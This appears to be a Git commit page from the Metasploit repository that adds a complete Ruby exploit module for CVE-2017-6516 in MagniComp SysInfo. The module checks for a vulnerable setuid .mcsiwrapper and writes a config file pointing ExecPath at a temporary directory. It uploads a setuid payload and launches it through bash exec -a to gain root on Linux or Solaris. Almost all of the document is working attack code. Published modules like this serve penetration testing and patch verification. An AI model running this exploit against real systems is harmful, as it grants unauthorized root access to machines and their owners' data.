Add MagniComp SysInfo mcsiwrapper Privilege Escalation exploit
parent
c9473f8cbc
commit
41dbae29a6
|
@ -0,0 +1,165 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MagniComp SysInfo mcsiwrapper Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on systems running
|
||||
MagniComp SysInfo versions prior to 10-H64.
|
||||
|
||||
The .mcsiwrapper suid executable allows loading a config file using the
|
||||
'--configfile' argument. The 'ExecPath' config directive is used to set
|
||||
the executable load path. This module abuses this functionality to set
|
||||
the load path resulting in execution of arbitrary code as root.
|
||||
|
||||
This module has been tested successfully with SysInfo version
|
||||
10-H63 on Fedora 20 x86_64 and 10-GA on Solaris 10u11 x86.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Daniel Lawson', # Discovery and exploit
|
||||
'Romain Trouve', # Discovery and exploit
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Sep 23 2016',
|
||||
'Platform' => %w(linux solaris),
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ]} ]
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-6516' ],
|
||||
[ 'BID', '96934' ],
|
||||
[ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ],
|
||||
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ],
|
||||
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ]
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
end
|
||||
|
||||
def sysinfo_dir
|
||||
datastore['SYSINFO_DIR']
|
||||
end
|
||||
|
||||
def check
|
||||
unless cmd_exec("test -d #{sysinfo_dir} && echo true").include? 'true'
|
||||
vprint_good "Directory '#{sysinfo_dir}' does not exist"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Directory '#{sysinfo_dir}' exists"
|
||||
|
||||
mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper"
|
||||
unless setuid? mcsiwrapper_path
|
||||
vprint_error "#{mcsiwrapper_path} is not setuid"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "#{mcsiwrapper_path} is setuid"
|
||||
|
||||
bash_path = cmd_exec 'which bash'
|
||||
unless bash_path.start_with?('/') && bash_path.include?('bash')
|
||||
vprint_error 'bash is not installed. Exploitation will fail.'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'bash is installed'
|
||||
|
||||
config_version = cmd_exec "grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg"
|
||||
version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first
|
||||
if version.blank?
|
||||
vprint_error 'Could not determine the SysInfo version'
|
||||
return CheckCode::Detected
|
||||
end
|
||||
if Gem::Version.new(version.sub('-H', '.')) >= Gem::Version.new('10.64')
|
||||
vprint_error "SysInfo version #{version} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "SysInfo version #{version} is vulnerable"
|
||||
|
||||
CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def mkdir(path)
|
||||
vprint_status "Creating '#{path}' directory"
|
||||
cmd_exec "mkdir -p #{path}"
|
||||
register_dir_for_cleanup path
|
||||
end
|
||||
|
||||
def exploit
|
||||
check_status = check
|
||||
if check_status != CheckCode::Vulnerable && check_status != CheckCode::Detected
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
# Set target
|
||||
uname = cmd_exec 'uname'
|
||||
vprint_status "Operating system is #{uname}"
|
||||
if target.name.eql? 'Automatic'
|
||||
case uname
|
||||
when /SunOS/i
|
||||
my_target = targets[1]
|
||||
when /Linux/i
|
||||
my_target = targets[2]
|
||||
else
|
||||
fail_with Failure::NoTarget, 'Unable to automatically select a target'
|
||||
end
|
||||
else
|
||||
my_target = target
|
||||
end
|
||||
print_status "Using target: #{my_target.name}"
|
||||
|
||||
# Check payload
|
||||
if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
|
||||
(my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
|
||||
fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
|
||||
end
|
||||
|
||||
# Create a working directory
|
||||
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric rand(5..10)}"
|
||||
mkdir base_path
|
||||
|
||||
# Write config file
|
||||
config_path = "#{base_path}/#{rand_text_alphanumeric rand(5..10)}"
|
||||
upload config_path, "ExecPath=#{base_path}"
|
||||
|
||||
# Upload payload
|
||||
payload_name = rand_text_alphanumeric rand(5..10)
|
||||
payload_path = "#{base_path}/#{payload_name}"
|
||||
upload payload_path, generate_payload_exe
|
||||
cmd_exec "chmod u+sx '#{payload_path}'"
|
||||
|
||||
print_status 'Executing payload...'
|
||||
|
||||
# Executing .mcsiwrapper directly errors:
|
||||
# Command ".mcsiwrapper" cannot start with `.' or contain `/'.
|
||||
# Instead, we execute with bash to replace ARGV[0] with the payload file name
|
||||
output = cmd_exec "bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\""
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue